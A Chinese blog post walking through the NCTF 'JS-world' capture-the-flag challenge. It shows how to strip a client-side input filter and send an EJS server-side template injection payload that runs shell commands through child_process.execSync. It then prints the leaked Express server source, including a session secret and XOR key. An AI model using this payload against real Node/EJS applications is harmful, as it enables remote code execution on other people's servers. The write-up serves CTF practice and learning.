JS-world

刷题[NCTF]

逛博客,刷到baiyecha404大佬,看到有NCTF的docker,那我不多说了,直接起了呀

JS-world

信息收集

打开网页是一个好看的前端

下面有按钮,点击

看着像前端注入,试试。ejs是一套模板语言,同时发现有过滤

代码审计

先看看代码逻辑

主要逻辑代码如下

function create() {
    var _0x1bef85 = _0x1656
      , _0x23132f = document[_0x1bef85('0x9')]('MyCode')[_0x1bef85('0xe')];
    _0x23132f = _0x23132f[_0x1bef85('0x5')](/[\/\*\'\"\`\<\\\>\-\(\)\[\]\=\%\.]/g, '');
    var _0x1658d5 = _0x1bef85('0x8') + _0x23132f + _0x1bef85('0x2');
    _0x1658d5 = btoa(xor(_0x1bef85('0xc'), _0x1658d5));
    var _0x23601e = new XMLHttpRequest();
    _0x23601e['open'](_0x1bef85('0x13'), _0x1bef85('0x7'), !![]),
    _0x23601e['setRequestHeader'](_0x1bef85('0x11'), _0x1bef85('0xd'));
    var _0x3deb5a = _0x1bef85('0x4') + escape(_0x1658d5);
    return _0x23601e[_0x1bef85('0xa')](_0x3deb5a),
    alert('Done.\x0aCheck\x20/templates\x20now.'),
    '';
}

复制srcipt.js中的内容,删除其中的过滤

_0x23132f = _0x23132f[_0x1bef85('0x5')](/[\/\*\'\"\`\<\\\>\-\(\)\[\]\=\%\.]/g, '');

编写payload

查看ejs语言规则,编写payload:

<%- global.process.mainModule.require('child_process').execSync('cat app.js') %>

process.mainModule 属性提供了一种获取 require.main 的替代方式。

child_process模块主要用来创建一个子进程,并通过调用命令行来运行脚本文件

再来一次,读源码

Proudly presented by ejs const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const cookieParser = require("cookie-parser");
const path = require("path");
const session = require("express-session");
const FileStore = require('session-file-store')(session);
const fs = require('fs');
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);
app.use(express.static('public'));
app.use(session({
    name: 'session',
    secret: 'T0pSsssecRet233#@###',
    store: new FileStore({
        path: path.join(__dirname, "sessions")
    }),
    resave: false,
    saveUninitialized: false
}));
app.use(bodyParser.urlencoded({
    extended: false
}));
app.use(cookieParser());
const KEY = process.env.KEY || "r5NmfIzU1uzl6Wp";
const xor = (secretkey, value) = >{
    return Array.prototype.slice.call(value).map(function(chr, index) {
        return String.fromCharCode(secretkey[index % secretkey.length].charCodeAt(0) ^ chr.charCodeAt(0))
    }).join('');
}
app.get('/', (req, res) = >{
    let session = req.session;
    if (session.AccessGranted === undefined) {
        session.AccessGranted = true;
    }
    return res.render('index.html');
}) app.get('/templates', (req, res) = >{
    const session = req.session;
    if (session.AccessGranted !== "undefined" && session.AccessGranted === true) {
        try {
            let template_path = path.join("templates/", session.id, 'index.html');
            return res.render(template_path);
        } catch(err) {
            throw err;
        }
    } else {
        return res.send('Not Accessible Now.');
    }
});
app.post('/create', (req, res) = >{
    const session = req.session;
    if (session.AccessGranted !== "undefined" && session.AccessGranted === true) {
        try {
            const id = session.id;
            const raw = Buffer.from(req.body.code, 'base64').toString();
            const contents = xor(KEY, raw);
            let template_path = path.join(__dirname, "/views/templates/", id, 'index.html');
            if (!fs.existsSync(path.join(__dirname, "/views/templates/", id))) {
                fs.mkdirSync(path.join(__dirname, "/views/templates/", id));
            }
            fs.writeFileSync(template_path, contents);
            return res.send('done');
        } catch(err) {
            throw err;
        }
    } else {
        return res.send('Not Accessible Now.');
    }
});
app.all('*', (req, res) = >{
    return res.status(404).send('404 page not found');
});
app.listen(8088, () = >console.log('Listening on port 8088'));

最后读flag,在/flag.txt中

我本来想做完这个系列。。。奈何题目有点超出能力了,php都没整明白就先不开始node.js了(逃

posted @ 2021-01-21 14:47  kar3a  阅读(167)  评论(0编辑  收藏  举报